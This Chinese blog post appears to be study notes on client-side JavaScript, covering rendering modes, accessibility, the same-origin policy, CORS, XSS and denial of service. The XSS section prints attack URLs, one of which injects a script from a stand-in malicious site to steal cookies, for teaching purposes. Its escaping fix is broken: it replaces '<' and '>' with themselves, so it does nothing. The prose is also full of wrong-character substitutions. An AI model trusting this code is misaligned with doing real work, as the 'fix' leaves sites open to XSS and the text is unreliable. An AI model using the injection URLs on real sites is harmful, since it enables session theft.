怪异模式和标准模式之间的差异经历了很长的发展历程,如今新版的ie都支持标准模式。其它主流的浏览器都支持标准模式。这两种模式都被html5规范所承认。怪异模式和标准模式以前的差别对于html和css开发者影响最大。但客户端javascript代码则须要知道文档是以哪一种模式进行渲染的。要进行这种渲染模式的特性检测,一般检测document.compatMode属性。若是其值为"CSS1Compat",则说明浏览器告知在标准模式;若是其值为"BackCompat"(或undefined,说明属性不存在),说明浏览器工做在怪异模式。全部现代的浏览器都实现了compatMode属性,而且HTML5规范对它进行了标准化。
iiiii.浏览器测试
功能测试费用适用于检测大小功能领域的支持,好比可使用这种方法来肯定浏览器是否支持w3c事件处理模式仍是IE事件处理模型。另外,有时候可能须要在某种浏览器中解决个别BUG或难题,但缺没有太好的方法来检测bug的存在性。
在客户端javascript中检测浏览器的类型和版本的方法就是使用Navigator对象,咱们将在12章学习它。在早期,客户端嗅探就是一种常见的客户端编程技术,如今的兼容性基本已经稳定。须要注意的是,客户端嗅探能够在服务器端完成,web服务器根据User-Agent头部能够选择地返回特定的javascript代码给客户端。
5.可访问性
web是发布信息的理想工具,而javascript程序能够加强对信息的访问。然而,javascript程序员必须当心,由于程序员写代码太过随意,以致于那行有视觉障碍或肢体困难的用户没办法正确地获取信息。
盲人用户使用一种叫作屏幕阅读器的“辅助性技术”将书面的文字转换为语言词汇。有些屏幕阅读器是识别javascript的,而并一些只能在禁用javascript时才会工做得更好。javascript是的角色应当是增长信息的表现里,而不是负责信息的呈现。javascript可访问性的一条重要元素则是,在禁用javascript解释器的浏览器中也能正常使用(或至少某种形式能正常使用)。
可访问性的另外一个重要原则是,对于只使用键盘但不能(或者选择不用)鼠标的用户来讲,若是编写的javascript代码依赖特定的鼠标事件。这就会给那行不使用鼠标的用户排除在外。web浏览器容许使用键盘来遍历和激活一个web页面中的UI元素。而且javascript代码也应该容许这样作。正如15章所介绍,javascript支持独立设备的事件:onfocus和onchange.以及依赖于设备的事件(onmouseover和onmousedown).为了考虑到可访问性,应该尽早可能地支持独立设备的事件。
建立可访问的web页面并不是鸡毛蒜皮的小事情。关心可访问性的web应用开发应该阅读这里的文档http://www.w3.org/WAI/intro/aria。
6.安全性
web浏览器包含javascript解释器,也就是说,一旦载入web页面,就可让任意的javascript代码在计算机里执行。很明显,这里存在着安全隐患。浏览器厂商也在不断权衡下面这两个以前的博弈:
就像在其它领域中同样,javascript也在盘根错节的安全漏洞和补丁以前不断的发展变化。在web早期,浏览器添加了相似可以打开、移动、调整窗口大小、已经编辑浏览器状态栏的功能。因为广告和诈骗的滥用,浏览器做者不得不限制和禁用这些API,今天在标准化的 html5中,浏览器厂商会当心(而且开放和合做性地)掂量某个长期存在的安全限制,而且在(但愿)不引入新的安全漏洞的基础上给客户端javascript添加少许的功能。
下面几节会介绍javascript的安全限制和安全问题,这些问题是每一个web开发者都须要意识到的。
i.javascript不能作什么
web浏览器征对恶意代码的第一条防线就是他们不支持某些功能。例如,客户端javascript没有权限来写入或删除客户计算机上的任意文件或列出任意目录。这意味着javascript不能删除数据或植入病毒。(20.6.iiiii介绍javascript如何实现安全隐私文件系统,以及如何读取和写入文件。)
相似的客户端javascript没有任何通用的网络能力。 客户端javascript程序能够对HTTP协议编程(参见16章);而且html5有一个附属标准胶webSockes,定义一个类套接字API,用于和指定的服务器通讯。可是这些API都不容许对于范围更广的网络进行直接访问。通用的Iternet客户端和服务器不能同时使用客户端javascript来写(这里的提示很重要,咱们不能基于浏览器写出一个“服务器”,网络中的浏览器和浏览器之间没法直接通讯。)
浏览器征对恶意代码的第二条防线就是在本身支持某些功能上添加限制,如下是一些功能限制:
注意这里并未列出全部客户端javascript的限制项,不一样浏览器有不一样安全策略。并可能实现的API限制。部分浏览器还可能让用户偏好决定强弱的限制。
ii.同源策略
同源策略是对javascript代码可以操做那些WEB内容的一条完整的安全限制 。当web页面使用多个<iframe>元素或者打开其它浏览器窗口的时候,这一策略一般就会发挥做用。在这种状况下,同源策略赋值管理窗口或窗体中的javascript代码以及和其它窗口或帧的交互。具体来讲,脚本只能读取和所属文档来源相同的窗口和文档的属性(参见12章8节了解如何使用javascript操控多个窗口和窗体)。
文档的来源包含协议、主机,以及载入文档的URL端口。从不一样的web服务器载入的文档具备不一样的来源。使用http:协议载入的文档和使用https:载入的文档具备不一样的来源。即便他们来自同一个服务器。
脚本自己的来源和同源策略并不相关,相关的是脚本所嵌入的文档的来源,理解这一点很重要。例如,一个来自于主机A的脚本被包含到宿主B的一个web页面中,这个脚本的来源是主机B,而且能够完整的访问包含它的文档的内容。若是脚本打开一个新窗口并载入来自B主句的另外一个文档,脚本对这个文档的内容也具备彻底访问权限。可是,若是脚本打开第三个窗口并载入一个来自主机C的文档(或者来自主机A),这个同源策略就会发挥做用,阻止这个脚本访问这个文档。
实际上,同源策略并不是应用不一样源的窗口中全部对象的全部属性。不过它应用到了其中大多数属性,尤为是对Document对象的几乎全部属性而言。凡是包含另外一个服务器中文档的窗口或窗体,都是同源策略的适用范围。若是脚本打开一个窗口,脚本也能够关闭它。但不能以任何方式查看窗口内部。同源策略还应用于XMLHttpRequests生成的HTTP请求(16章)。这个对象容许客户端javascript生成任意的HTTP请求到脚本所属文档的web服务器。可是不容许脚本和其余web服务器通讯。
对于防止脚本窃取有效的信息来讲,同源策略是必须的。若是没有这个限制。恶意脚本(经过防火墙载入安全的公司内外的浏览器)可能会打开一个空的窗口,欺骗用户进入并使用这个窗口在网上浏览文件 。恶意脚本可以读取窗口的内容并将其发送回本身的服务器。同源策略防止了这种行为。
不严格的同源策略
在 某些状况下,同源策略就显得稍微严格,本节会介绍三种不严格的同源策略
同源策略给那行使用多个子域的大站带来了一些问题,例如来自a.ahthw.com的文档里的脚本想要合法的从b.ahthw.com读取文档的属性。为了支持这种类型多域名占占,可使用Document.domain属性。在默认的状况下,domain属性存放的是载入文档的服务器的主机名。能够设置这一属性为ahthw.com
若是两个窗口(或窗体)包含的脚本把domain设置成了相同的值,那么这两个窗口就再也不受同源策略的约束。他们可相互读取对象的属性。例如,从c.ahthw.com和d.ahthw.com载入的文档的脚本能够把他们的document.domain属性都设置为ahthw.com,这一依赖,这些文档就有了同源性,能够相互读取属性。
不严格同源的第二项技术已经标准化为:跨域资源共享(Cross-Origin Resource Sharing,参见http://www.w3.org/TR/cors/)。使用“Origin”请求头和新的Access-Control-Allow-Origin响应头来扩展HTTP。它容许服务器用头信息显式地列出源,或使用通配符来匹配全部的源并容许任何地址请求文件。使用这种新的头信息来容许跨域HTTP请求,这样XMLHttpRequest就不会被同源策略所限制了。
另一种新的技术,跨域文档消息(cross - document messagin),容许来自一个文档的脚本能够传递文本消息到另外一个文档的脚本,而无论脚本的来源是否不一样。调用window对象上的 postMessage()方法,能够异步传递消息事件(可用onmessage事件句处理海曙来处理它)到窗口文档里。一个文档里的脚本仍是不能调用在其余文档里的方法和读取属性。但它们能够用这些消息传递技术来实现安全的通讯(20章3节有跟多关于跨文档消息api的细节)。
iii.跨站脚本
跨站脚本(cross-site scrpting),或者胶XSS,这个术语表示一类安全问题,也就是攻击者想目标web站点诸如HTML标签或者脚本。防止XSS攻击是服务器端WEB开发者的一项基本规则。然而,客户端javascript程序员也必须意识到或者可以预防跨站脚本。
若是web页面动态产生文档内容,而且这些文档内容是基于用户提交数据的,而并无经过从中移除任何嵌入的html标签来“消毒”的话,这个页面就很容易遭到跨站脚本的攻击。
来看一个小例子,考虑以下的web页面,它使用javascript经过用户名字像用户说问好。
var name =decodeURIComponent(window.location.search.substring(1)) ||""; document.write("hello " + name)
专门经过如下地址来调用
www.a.com/good.html?Davide
这时候,它会显示文本"Hello David"。可是考虑一下,使用下面的脚本调用会发生什么样的状况。
www.a.com/good.html?%3Cscript%3Ealert("Davide")%3C/script%3E
使用这个URL,脚本会动态的生成另外一个脚本,(%3C和%3E是一个尖括号的编码)在这个例子中,注入的脚本只显示一个对话框。可是考虑以下状况
www.b.com/good.html?name=%3Cscript src=siteB/xxx.js%3E%3Cscript%3E
之因此叫作跨站脚本估计,就是由于它涉及多个站点。站点B专门构造到站点A的连接,注入来自站点B的脚本。脚本xxx.js驻留在恶意站点B中,但如今,它嵌入到站点A中,而且能够对站点A的内容进行任何想要的操做。它可能损坏这个页面或者使其不能正常工做(例以下节介绍的拒绝式服务攻击)。者可能对站点A的用户带来很多坏处。
更危险的是,恶意脚本能够读取站点A存储的Cookie(可能统计数据或者其它我的验证信息)而后发送回站点B。注入的脚本甚至能够诱骗用户点击将数据发送回站点B。
一般,防止XSS估计的方式是,在使用任何不可信的数据来动态建立文档内容以前,从中移除HTML标签。能够经过下一行代码来移除<script>两边的尖括号。
name = name.replace(/</g,"<").replace(/>/g,">");
上面简单代码把字符串中全部的尖括号替换成他们对应的HTML实体,也就是说将字符串中任意HTML标签进行转义过滤和删除处理。IE8定义了一个更加微妙的toStaticHTML()方法,能够移除<script>标签(和其它潜在的可执行内容)而不修改不可执行的HTML。toStaticHTML()是不标准的,但在javascript核心代码中本身实现一个HTML安全函数也很是简单。
1.将重要的cookie标记为http only, 这样的话Javascript 中的document.cookie语句就不能获取到cookie了. 2.只容许用户输入咱们指望的数据。 例如: 年龄的textbox中,只容许用户4输入数字。 而数字以外的字符都过滤掉。 3.对数据进行Html Encode 处理 4.过滤或移除特殊的Html标签, 例如: <script>, <iframe> , < for <, > for >, " for 5.过滤JavaScript 事件的标签。例如 "onclick=", "onfocus" 等等。
HTML5的内容安全策略则更进一步,它为<iframe>元素定义了一个sandbox。在实现以后,它容许显示不可信的内容,并自动禁用脚本。
跨站脚本使有害的漏洞可以立足web构架中,深刻理解这些跨站脚本是值得的。不少在线资源能够参考
http://cert.org/historical/advisories/CA-2000-02.cfm
iiii.拒绝服务攻击
这里描述同源策略和其余的安全限制能够很好地预防恶意代码毁坏数据或者防止侵犯隐私这种问题。然而根据不止一种,拒绝服务攻击,这种手法很是暴力。好比alert()对话框无限占用浏览器,或者使用一个没有意义的循环来占用cpu等。
利用window.setInterval()方法占用cpu,并分配不少内存来根据你的系统。web浏览器没有通用的办法来放在这种笨重的手法。可是实际上没有人会访问一个滥用这种脚本的网站。所以在web上不是一个常见的问题。
7.客户端框架。
一些web开发者基于客户端框架或类库建立它们的web应用很是便捷。从某种意义上来讲,类库也是框架。它们对web浏览器提供的标准和专用的API进行了封装,向上提供更高级的API。
使用框架的好处就是可使用更简洁的代码完成更复杂的功能,此外,完善的框架也会帮咱们处理不少兼容性、安全性和可访问性的问题。
17章会介绍jQuery,它是当前最流行的框架之一。理解底层的API会帮助你称为更优秀的web开发者。虽然说使用他们后不多使用原生的API。
除了jQuery外,还有不少优秀的javascript框架,其中有些框架很是有名,而且普遍使用。
Prototype
Prototype类库和jQuery相似,是专门征对DOM和AJax实现的一套工具,此外还问语言核心扩展了不少实用的工具,scriptaculous就是类库基于Prototype实现的。
Dojo
DOjo是一个大型的框架,它包括一个种类繁多的UI组件集合、包括管理系统、数据抽象层等
YUI
YUI是yahoo使用的一个著名框架,YUI和Dojo同样庞大,是一个无所不包的客户端类库,包含一眼工具、DOM、UI组件等。目前有两个不兼容的版本YUI2和YUI3
Closure
Closure类库是Google应用Gmail、Docs和其它web应用客户端类库。这个类库是打算和Closure编译器http://code.google.com/closure/compiler/配合使用的,剃除没用的类库函数。由于没有用的代码会在部署以前都被移除。Closure类库设计者不须要保持特性集合的紧凑。因此Closure包含一个庞大的工具集。
GWT
GWT,即google web toolkit,是一个彻底不一样类型的客户端框架。它用JAVA定义了web应用接口,并提供编译器,将JAVA程序翻译成兼容的客户端Javascript。GWT在一些google产品中使用,但不如它们之间的Closure类库用的那么普遍。
(本文完,欢迎你们关注上章节内容:第十章:Javascript子集和扩展,下章内容:第十二章 window对象)